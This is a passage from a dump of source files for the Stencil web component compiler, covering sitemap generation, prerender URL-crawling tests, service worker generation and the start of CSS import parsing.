    results.url = sitemapUrl.href;\n    }\n\n    await manager.config.sys.writeFile(results.filePath, results.content);\n\n    return results;\n  } catch (e: any) {\n    catchError(manager.diagnostics, e);\n    return null;\n  }\n};\n\nexport const getSitemapUrls = (manager: d.PrerenderManager) => {\n  const urls: string[] = [];\n\n  if (typeof manager.prerenderConfig.canonicalUrl === 'function') {\n    // user provide a canonicalUrl() function\n    // use that to normalize the urls for the sitemap.xml\n    // if it returned null then don't add it to the sitemap\n    for (const url of manager.urlsCompleted) {\n      const canonicalUrl = manager.prerenderConfig.canonicalUrl(new URL(url));\n      if (typeof canonicalUrl === 'string' && canonicalUrl.trim() !== '') {\n        urls.push(canonicalUrl);\n      }\n    }\n  } else {\n    for (const url of manager.urlsCompleted) {\n      if (typeof url === 'string') {\n        urls.push(url);\n      }\n    }\n  }\n\n  return urls.sort(sortUrls);\n};\n\nconst sortUrls = (a: string, b: string) => {\n  const partsA = a.split('/').length;\n  const partsB = b.split('/').length;\n  if (partsA < partsB) return -1;\n  if (partsA > partsB) return 1;\n  if (a < b) return -1;\n  if (a > b) return 1;\n  return 0;\n};\n"
  },
  {
    "path": "src/compiler/prerender/test/crawl-urls.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { crawlAnchorsForNextUrls } from '../crawl-urls';\n\ndescribe('crawlAnchorsForNextUrls', () => {\n  let prerenderConfig: d.PrerenderConfig;\n  let diagnostics: d.Diagnostic[];\n  let baseUrl: URL;\n  let currentUrl: URL;\n  let parsedAnchors: d.HydrateAnchorElement[];\n\n  beforeEach(() => {\n    prerenderConfig = {};\n    diagnostics = [];\n    baseUrl = new URL('http://stenciljs.com/');\n    currentUrl = new URL('http://stenciljs.com/docs');\n  });\n\n  it('user filterUrl()', () => {\n    parsedAnchors = [{ href: '/docs' }, { href: '/docs/v3' }, { href: '/docs/v3/components' }];\n    prerenderConfig.filterUrl = function (url) {\n      if (url.pathname.startsWith('/docs/v3')) {\n        return false;\n      }\n      return true;\n    };\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('user normalizeUrl()', () => {\n    parsedAnchors = [{ href: '/doczz' }, { href: '/docs' }];\n    prerenderConfig.normalizeUrl = function (href, base) {\n      const url = new URL(href, base);\n\n      if (url.pathname === '/doczz') {\n        url.pathname = '/docs';\n      }\n\n      return url;\n    };\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('user filterAnchor()', () => {\n    parsedAnchors = [\n      { href: '/docs' },\n      { href: '/docs/about-us', 'data-prerender': 'yes-plz' },\n      { href: '/docs/app', 'data-prerender': 'no-prerender' },\n    ];\n    prerenderConfig.filterAnchor = function (anchor) {\n      if (anchor['data-prerender'] === 'no-prerender') {\n        return false;\n      }\n      return true;\n    };\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(2);\n    expect(hrefs[0]).toBe('http://stenciljs.com/docs');\n    expect(hrefs[1]).toBe('http://stenciljs.com/docs/about-us');\n  });\n\n  it('normalize with encoded characters', () => {\n    parsedAnchors = [{ href: '/about%20us' }, { href: '/about us' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/about%20us');\n  });\n\n  it('normalize with trailing slash', () => {\n    prerenderConfig.trailingSlash = true;\n    parsedAnchors = [\n      { href: '/' },\n      { href: '/about-us' },\n      { href: '/about-us/' },\n      { href: '/docs' },\n      { href: '/docs/' },\n      { href: '/docs/index.html' },\n    ];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(3);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n    expect(hrefs[1]).toBe('http://stenciljs.com/about-us/');\n    expect(hrefs[2]).toBe('http://stenciljs.com/docs/');\n  });\n\n  it('normalize without trailing slash', () => {\n    parsedAnchors = [\n      { href: '/' },\n      { href: '/about-us' },\n      { href: '/about-us/' },\n      { href: '/docs' },\n      { href: '/docs/' },\n      { href: '/docs/index.html' },\n    ];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(3);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n    expect(hrefs[1]).toBe('http://stenciljs.com/about-us');\n    expect(hrefs[2]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('skip directories below base path', () => {\n    baseUrl = new URL('http://stenciljs.com/docs');\n    parsedAnchors = [\n      { href: '/' },\n      { href: '/about-us' },\n      { href: '/contact-us' },\n      { href: '/docs' },\n      { href: '/docs/components' },\n    ];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(2);\n    expect(hrefs[0]).toBe('http://stenciljs.com/docs');\n    expect(hrefs[1]).toBe('http://stenciljs.com/docs/components');\n  });\n\n  it('skip different domains', () => {\n    parsedAnchors = [\n      { href: '/' },\n      { href: '/docs' },\n      { href: 'https://stenciljs.com/' },\n      { href: 'https://ionicframework.com/' },\n      { href: 'https://ionicframework.com/docs' },\n      { href: 'https://ionicons.com/' },\n    ];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(2);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n    expect(hrefs[1]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('skip targets that arent _self', () => {\n    parsedAnchors = [\n      { href: '/docs', target: '_self' },\n      { href: '/whatever', target: '_blank' },\n      { href: '/about-us', target: 'custom-target' },\n    ];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('trim up hrefs', () => {\n    parsedAnchors = [{ href: '/     ' }, { href: '  /' }, { href: '  /  ' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n  });\n\n  it('disregard querystring', () => {\n    parsedAnchors = [{ href: '/?' }, { href: '/?some=querystring' }, { href: '/?some=querystring2' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n  });\n\n  it('disregard hash', () => {\n    parsedAnchors = [{ href: '/#' }, { href: '/#some-hash' }, { href: '/#some-hash2' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n  });\n\n  it('normalize https protocol', () => {\n    currentUrl = new URL('https://stenciljs.com/docs');\n    parsedAnchors = [{ href: 'http://stenciljs.com/' }, { href: 'https://stenciljs.com/' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('https://stenciljs.com/');\n  });\n\n  it('normalize protocol', () => {\n    currentUrl = new URL('http://stenciljs.com/docs');\n    parsedAnchors = [{ href: 'http://stenciljs.com/' }, { href: 'https://stenciljs.com/' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n  });\n\n  it('normalize /docs/index.htm', () => {\n    parsedAnchors = [{ href: '/docs/index.htm' }, { href: './docs/index.htm' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('normalize index.html', () => {\n    parsedAnchors = [{ href: '/index.html' }, { href: './index.html' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(1);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n  });\n\n  it('parse absolute paths', () => {\n    parsedAnchors = [{ href: 'http://stenciljs.com/' }, { href: 'http://stenciljs.com/docs' }];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(2);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n    expect(hrefs[1]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('parse relative paths', () => {\n    parsedAnchors = [\n      { href: '/' },\n      { href: './' },\n      { href: './docs/../docs/../' },\n      { href: '/docs' },\n      { href: '/docs/../' },\n      { href: '/docs/..' },\n    ];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(2);\n    expect(hrefs[0]).toBe('http://stenciljs.com/');\n    expect(hrefs[1]).toBe('http://stenciljs.com/docs');\n  });\n\n  it('do nothing for invalid hrefs', () => {\n    parsedAnchors = [\n      { href: '' },\n      { href: '     ' },\n      { href: '#' },\n      { href: '#some-hash' },\n      { href: '?' },\n      { href: '?some=querystring' },\n    ];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(0);\n  });\n\n  it('do nothing for empty array', () => {\n    parsedAnchors = [];\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(0);\n  });\n\n  it('do nothing for invalid parsedAnchors', () => {\n    parsedAnchors = null;\n\n    const hrefs = crawlAnchorsForNextUrls(prerenderConfig, diagnostics, baseUrl, currentUrl, parsedAnchors);\n    expect(diagnostics).toHaveLength(0);\n\n    expect(hrefs).toHaveLength(0);\n  });\n});\n"
  },
  {
    "path": "src/compiler/prerender/test/prerender-optimize.spec.ts",
    "content": "import { getAttrUrls, setAttrUrls } from '../prerender-optimize';\n\ndescribe('prerender optimize', () => {\n  // https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/srcset\n\n  it('getAttrUrls srcset', () => {\n    const s1 = getAttrUrls('srcset', 'images/team-photo.jpg 1x, images/team-photo-full 2048w');\n    expect(s1).toEqual([\n      {\n        src: 'images/team-photo.jpg',\n        descriptor: '1x',\n      },\n      {\n        src: 'images/team-photo-full',\n        descriptor: '2048w',\n      },\n    ]);\n\n    const s2 = getAttrUrls('SRCSET', 'header640.png 640w, header.png');\n    expect(s2).toEqual([\n      {\n        src: 'header640.png',\n        descriptor: '640w',\n      },\n      {\n        src: 'header.png',\n      },\n    ]);\n  });\n\n  it('getAttrUrls src', () => {\n    const s1 = getAttrUrls('src', 'images/team-photo.jpg');\n    expect(s1).toEqual([\n      {\n        src: 'images/team-photo.jpg',\n      },\n    ]);\n  });\n\n  it('setAttrUrls src', () => {\n    const url = new URL('https://stenciljs.com/assets/image.png');\n    const s1 = setAttrUrls(url, undefined);\n    expect(s1).toEqual('/assets/image.png');\n  });\n\n  it('setAttrUrls src w/ descriptor', () => {\n    const url = new URL('https://stenciljs.com/assets/image.png?v=123');\n    const s1 = setAttrUrls(url, '640w');\n    expect(s1).toEqual('/assets/image.png?v=123 640w');\n  });\n});\n"
  },
  {
    "path": "src/compiler/prerender/test/prerendered-write-path.spec.ts",
    "content": "import { mockValidatedConfig } from '@stencil/core/testing';\nimport { join, resolve } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { validateWww } from '../../config/outputs/validate-www';\nimport { getWriteFilePathFromUrlPath } from '../prerendered-write-path';\n\ndescribe('prerender-utils', () => {\n  const rootDir = resolve('/');\n\n  describe('getWriteFilePathFromUrlPath', () => {\n    let manager: d.PrerenderManager;\n    let config: d.ValidatedConfig;\n\n    beforeEach(() => {\n      config = mockValidatedConfig();\n      const outputTargets = validateWww(config, [], []);\n\n      manager = {\n        config: config,\n        outputTarget: outputTargets[0] as any,\n        devServerHostUrl: 'http://localhost:3333/',\n        diagnostics: [],\n        hydrateAppFilePath: null,\n        isDebug: true,\n        logCount: 0,\n        maxConcurrency: 1,\n        prerenderUrlWorker: null,\n        prerenderConfig: null,\n        prerenderConfigPath: null,\n        urlsCompleted: null,\n        urlsPending: null,\n        urlsProcessing: null,\n        resolve: null,\n        templateId: null,\n        componentGraphPath: null,\n        staticSite: false,\n      };\n    });\n\n    it('/subdir, custom indexHtml', () => {\n      const inputUrl = 'http://stenciljs.com/subdir';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/';\n      manager.outputTarget.indexHtml = 'my-index.htm';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'subdir', 'index.html'));\n    });\n\n    it('/docs/my-index.htm, custom indexHtml', () => {\n      const inputUrl = 'http://stenciljs.com/docs/my-index.htm';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/docs/';\n      manager.outputTarget.indexHtml = 'my-index.htm';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'my-index.htm'));\n    });\n\n    it('/docs/index.html', () => {\n      const inputUrl = 'http://stenciljs.com/docs/index.html';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/docs/';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'index.html'));\n    });\n\n    it('/docs/', () => {\n      const inputUrl = 'http://stenciljs.com/docs/';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/docs/';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'index.html'));\n    });\n\n    it('/docs', () => {\n      const inputUrl = 'http://stenciljs.com/docs';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/docs';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'index.html'));\n    });\n\n    it('custom indexHtml', () => {\n      const inputUrl = 'http://stenciljs.com/';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/';\n      manager.outputTarget.indexHtml = 'my-index.htm';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, '/www/my-index.htm'));\n    });\n\n    it('/index.html', () => {\n      const inputUrl = 'http://stenciljs.com/index.html';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'index.html'));\n    });\n\n    it('default root, full input path, full path baseUrl', () => {\n      const inputUrl = 'http://stenciljs.com/';\n      manager.outputTarget.baseUrl = 'http://stenciljs.com/';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'index.html'));\n    });\n\n    it('default root, full input path', () => {\n      const inputUrl = 'http://stenciljs.com/';\n      manager.outputTarget.baseUrl = '/';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'index.html'));\n    });\n\n    it('default root, no full input path', () => {\n      const inputUrl = '/';\n      manager.outputTarget.baseUrl = '/';\n      const filePath = getWriteFilePathFromUrlPath(manager, inputUrl);\n      expect(filePath).toBe(join(rootDir, 'www', 'index.html'));\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/prerender/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/public.ts",
    "content": "import {\n  Compiler,\n  CompilerBuildResults,\n  CompilerSystem,\n  CompilerWatcher,\n  CompileScriptMinifyOptions,\n  Config,\n  Diagnostic,\n  LoadConfigInit,\n  LoadConfigResults,\n  OptimizeCssInput,\n  OptimizeCssOutput,\n  OptimizeJsInput,\n  OptimizeJsOutput,\n  PlatformPath,\n  PrerenderResults,\n  PrerenderStartOptions,\n  TranspileOptions,\n  TranspileResults,\n} from '@stencil/core/internal';\n\nexport { transpile, transpileSync } from './transpile';\n\n/**\n * The compiler is the utility that brings together many tools to build optimized components,\n * such as a transpiler, bundler, and minifier, along with many internal optimizations to\n * create small efficient components. When using the CLI, the `stencil build` command uses\n * the compiler for the various builds, such as a production build, or watch mode during\n * development. If only one file should be transformed then the `transpile()` function\n * should be used instead.\n *\n * Given a Stencil config, this method asynchronously returns a `Compiler` instance. The\n * config provided should already be created using the `loadConfig({...})` method.\n */\nexport declare const createCompiler: (config: Config) => Promise<Compiler>;\n\nexport declare const createPrerenderer: (\n  config: Config,\n) => Promise<{ start: (opts: PrerenderStartOptions) => Promise<PrerenderResults> }>;\n\n/**\n * The compiler uses a `CompilerSystem` instance to access any file system reads and writes.\n * When used from the CLI, the CLI will provide its own system based on NodeJS. This method\n * provide a compiler system is in-memory only and independent of any platform.\n */\nexport declare const createSystem: () => CompilerSystem;\n\n/**\n * The `dependencies` array is only informational and provided to state which versions of\n * dependencies the compiler was built and works with. For example, the version of TypeScript,\n * Rollup and Terser used for this version of Stencil are listed here.\n */\nexport declare const dependencies: CompilerDependency[];\nexport interface CompilerDependency {\n  name: string;\n  version: string;\n  main: string;\n  resources?: string[];\n}\n\n/**\n * The `loadConfig(init)` method is used to take raw config information and transform it into a\n * usable config object for the compiler and dev-server. The `init` argument should be given\n * an already created system and logger which can also be used by the compiler.\n */\nexport declare const loadConfig: (init?: LoadConfigInit) => Promise<LoadConfigResults>;\n\n/**\n * Utility function used by the compiler to optimize CSS.\n */\nexport declare const optimizeCss: (cssInput?: OptimizeCssInput) => Promise<OptimizeCssOutput>;\n\n/**\n * Utility function used by the compiler to optimize JavaScript. Knowing the JavaScript target\n * will further apply minification optimizations beyond usual minification.\n */\nexport declare const optimizeJs: (jsInput?: OptimizeJsInput) => Promise<OptimizeJsOutput>;\n\n/**\n * Utility of the `path` API provided by NodeJS, but capable of running in any environment.\n */\nexport declare const path: PlatformPath;\n\n/**\n * Current version of `@stencil/core`.\n */\nexport declare const version: string;\n\nexport declare const versions: {\n  stencil: string;\n  typescript: string;\n  rollup: string;\n  terser: string;\n};\n\n/**\n * Current version's emoji :)\n */\nexport declare const vermoji: string;\n\n/**\n * Compiler's unique build ID.\n */\nexport declare const buildId: string;\n\nexport {\n  Compiler,\n  CompilerBuildResults,\n  CompilerSystem,\n  CompilerWatcher,\n  CompileScriptMinifyOptions,\n  Config,\n  Diagnostic,\n  LoadConfigInit,\n  LoadConfigResults,\n  OptimizeCssInput,\n  OptimizeCssOutput,\n  OptimizeJsInput,\n  OptimizeJsOutput,\n  TranspileOptions,\n  TranspileResults,\n};\n"
  },
  {
    "path": "src/compiler/service-worker/generate-sw.ts",
    "content": "import { buildWarn, catchError, isOutputTargetWww } from '@utils';\nimport { basename } from 'path';\n\nimport type * as d from '../../declarations';\n\nexport const generateServiceWorker = async (\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  workbox: d.Workbox,\n  outputTarget: d.OutputTargetWww,\n): Promise<void[] | void> => {\n  const serviceWorker = await getServiceWorker(outputTarget);\n  if (serviceWorker.unregister) {\n    await config.sys.writeFile(serviceWorker.swDest, SELF_UNREGISTER_SW);\n  } else if (serviceWorker.swSrc) {\n    return Promise.all([copyLib(buildCtx, outputTarget, workbox), injectManifest(buildCtx, serviceWorker, workbox)]);\n  } else {\n    return generateSW(buildCtx, serviceWorker, workbox);\n  }\n};\n\nconst copyLib = async (buildCtx: d.BuildCtx, outputTarget: d.OutputTargetWww, workbox: d.Workbox) => {\n  const timeSpan = buildCtx.createTimeSpan(`copy service worker library started`, true);\n\n  try {\n    await workbox.copyWorkboxLibraries(outputTarget.appDir);\n  } catch (e) {\n    const d = buildWarn(buildCtx.diagnostics);\n    d.messageText = 'Service worker library already exists';\n  }\n\n  timeSpan.finish(`copy service worker library finished`);\n};\n\nconst generateSW = async (buildCtx: d.BuildCtx, serviceWorker: d.ServiceWorkerConfig, workbox: d.Workbox) => {\n  const timeSpan = buildCtx.createTimeSpan(`generate service worker started`);\n\n  try {\n    await workbox.generateSW(serviceWorker);\n    timeSpan.finish(`generate service worker finished`);\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n};\n\nconst injectManifest = async (buildCtx: d.BuildCtx, serviceWorker: d.ServiceWorkerConfig, workbox: d.Workbox) => {\n  const timeSpan = buildCtx.createTimeSpan(`inject manifest into service worker started`);\n\n  try {\n    await workbox.injectManifest(serviceWorker);\n    timeSpan.finish('inject manifest into service worker finished');\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n};\n\nexport const hasServiceWorkerChanges = (config: d.ValidatedConfig, buildCtx: d.BuildCtx) => {\n  if (config.devMode && !config.flags.serviceWorker) {\n    return false;\n  }\n\n  const wwwServiceOutputs = config.outputTargets\n    .filter(isOutputTargetWww)\n    .filter((o) => o.serviceWorker && o.serviceWorker.swSrc);\n\n  return wwwServiceOutputs.some((outputTarget) => {\n    return buildCtx.filesChanged.some((fileChanged) => {\n      if (outputTarget.serviceWorker) {\n        return basename(fileChanged).toLowerCase() === basename(outputTarget.serviceWorker.swSrc).toLowerCase();\n      }\n      return false;\n    });\n  });\n};\n\nconst getServiceWorker = async (outputTarget: d.OutputTargetWww) => {\n  if (!outputTarget.serviceWorker) {\n    return undefined;\n  }\n\n  const serviceWorker: d.ServiceWorkerConfig = {\n    ...outputTarget.serviceWorker,\n  };\n\n  if (serviceWorker.unregister !== true) {\n    delete serviceWorker.unregister;\n  }\n\n  return serviceWorker;\n};\n\nexport const INDEX_ORG = 'index-org.html';\n\nexport const getRegisterSW = (swUrl: string) => {\n  return `\nif ('serviceWorker' in navigator && location.protocol !== 'file:') {\n  window.addEventListener('load', function() {\n    navigator.serviceWorker.register('${swUrl}')\n      .then(function(reg) {\n        reg.onupdatefound = function() {\n          var installingWorker = reg.installing;\n          installingWorker.onstatechange = function() {\n            if (installingWorker.state === 'installed') {\n              window.dispatchEvent(new Event('swUpdate'))\n            }\n          }\n        }\n      })\n      .catch(function(err) { console.error('service worker error', err) });\n  });\n}`;\n};\n\nexport const UNREGISTER_SW = `\nif ('serviceWorker' in navigator && location.protocol !== 'file:') {\n  // auto-unregister service worker during dev mode\n  navigator.serviceWorker.getRegistration().then(function(registration) {\n    if (registration) {\n      registration.unregister().then(function() { location.reload(true) });\n    }\n  });\n}\n`;\n\nexport const SELF_UNREGISTER_SW = `\nself.addEventListener('install', function(e) {\n  self.skipWaiting();\n});\n\nself.addEventListener('activate', function(e) {\n  self.registration.unregister()\n    .then(function() {\n      return self.clients.matchAll();\n    })\n    .then(function(clients) {\n      clients.forEach(client => client.navigate(client.url))\n    });\n});\n`;\n"
  },
  {
    "path": "src/compiler/service-worker/service-worker-util.ts",
    "content": "import { relative } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const generateServiceWorkerUrl = (outputTarget: d.OutputTargetWww, serviceWorker: d.ServiceWorkerConfig) => {\n  let swUrl = relative(outputTarget.appDir, serviceWorker.swDest);\n\n  if (swUrl.charAt(0) !== '/') {\n    swUrl = '/' + swUrl;\n  }\n\n  const baseUrl = new URL(outputTarget.baseUrl, 'http://config.stenciljs.com');\n  let basePath = baseUrl.pathname;\n  if (!basePath.endsWith('/')) {\n    basePath += '/';\n  }\n\n  swUrl = basePath + swUrl.substring(1);\n\n  return swUrl;\n};\n"
  },
  {
    "path": "src/compiler/service-worker/test/service-worker-util.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\n\nimport { validateConfig } from '../../config/validate-config';\nimport { generateServiceWorkerUrl } from '../service-worker-util';\n\ndescribe('generateServiceWorkerUrl', () => {\n  let userConfig: d.Config;\n  let outputTarget: d.OutputTargetWww;\n\n  it('sw url w/ baseUrl', () => {\n    userConfig = mockConfig({\n      devMode: false,\n      outputTargets: [\n        {\n          type: 'www',\n          baseUrl: '/docs',\n        } as d.OutputTargetWww,\n      ],\n    });\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    outputTarget = config.outputTargets[0] as d.OutputTargetWww;\n    const swUrl = generateServiceWorkerUrl(outputTarget, outputTarget.serviceWorker as d.ServiceWorkerConfig);\n    expect(swUrl).toBe('/docs/sw.js');\n  });\n\n  it('default sw url', () => {\n    userConfig = mockConfig({ devMode: false });\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    outputTarget = config.outputTargets[0] as d.OutputTargetWww;\n    const swUrl = generateServiceWorkerUrl(outputTarget, outputTarget.serviceWorker as d.ServiceWorkerConfig);\n    expect(swUrl).toBe('/sw.js');\n  });\n});\n"
  },
  {
    "path": "src/compiler/service-worker/test/service-worker.spec.ts",
    "content": "// @ts-nocheck\n// TODO(STENCIL-462): investigate getting this file to pass (remove ts-nocheck)\nimport { Compiler, Config } from '@stencil/core/compiler';\nimport type * as d from '@stencil/core/declarations';\nimport { mockConfig } from '@stencil/core/testing';\nimport path from 'path';\n\n// TODO(STENCIL-462): investigate getting this file to pass\ndescribe.skip('service worker', () => {\n  jest.setTimeout(20000);\n  let compiler: Compiler;\n  let config: Config;\n  const root = path.resolve('/');\n\n  it('dev service worker', async () => {\n    config = mockConfig({\n      devMode: true,\n      outputTargets: [\n        {\n          type: 'www',\n          serviceWorker: {\n            swSrc: path.join('src', 'sw.js'),\n            globPatterns: ['**/*.{html,js,css,json,ico,png}'],\n          },\n        } as d.OutputTargetWww,\n      ],\n    });\n\n    compiler = new Compiler(config);\n    await compiler.fs.writeFile(path.join(root, 'www', 'script.js'), `/**/`);\n    await compiler.fs.writeFile(path.join(root, 'src', 'index.html'), `<cmp-a></cmp-a>`);\n    await compiler.fs.writeFile(\n      path.join(root, 'src', 'components', 'cmp-a', 'cmp-a.tsx'),\n      `\n      @Component({ tag: 'cmp-a' }) export class CmpA { render() { return <p>cmp-a</p>; } }\n    `,\n    );\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toEqual([]);\n\n    const indexHtml = await compiler.fs.readFile(path.join(root, 'www', 'index.html'));\n    expect(indexHtml).toContain(`registration.unregister()`);\n  });\n});\n"
  },
  {
    "path": "src/compiler/service-worker/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/style/css-imports.ts",
    "content": "import { buildError, join, normalizePath } from '@utils';\nimport { basename, dirname, isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\nimport { parseStyleDocs } from '../docs/style-docs';\nimport { resolveModuleIdAsync } from '../sys/resolve/resolve-module-async';\nimport { getModuleId } from '../sys/resolve/resolve-utils';\nimport { stripCssComments } from './style-utils';\n\n/**\n * Parse CSS imports into an object which contains a manifest of imports and a\n * stylesheet with all imports resolved and concatenated.\n *\n * @param config the current config\n * @param compilerCtx the compiler context (we need filesystem access)\n * @param buildCtx the build context, we'll need access to diagnostics\n * @param srcFilePath the source filepath\n * @param resolvedFilePath the resolved filepath\n * @param styleText style text we start with\n * @param styleDocs optional array of style document objects\n * @returns an object with concatenated styleText and imports\n */\nexport const parseCssImports = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  srcFilePath: string,\n  resolvedFilePath: string,\n  styleText: string,\n  styleDocs?: d.StyleDoc[],\n): Promise<ParseCSSReturn> => {\n  const isCssEntry = resolvedFilePath.toLowerCase().endsWith('.css');\n  const allCssImports: string[] = [];\n\n  // a Set of previously-resolved file paths that we add to as we traverse the\n  // import tree (to avoid a possible circular dependency and infinite loop)\n  const resolvedFilePaths = new Set();\n\n  const concatStyleText = await resolveAndFlattenImports(srcFilePath, resolvedFilePath, styleText);\n\n  return {\n    imports: allCssImports,\n    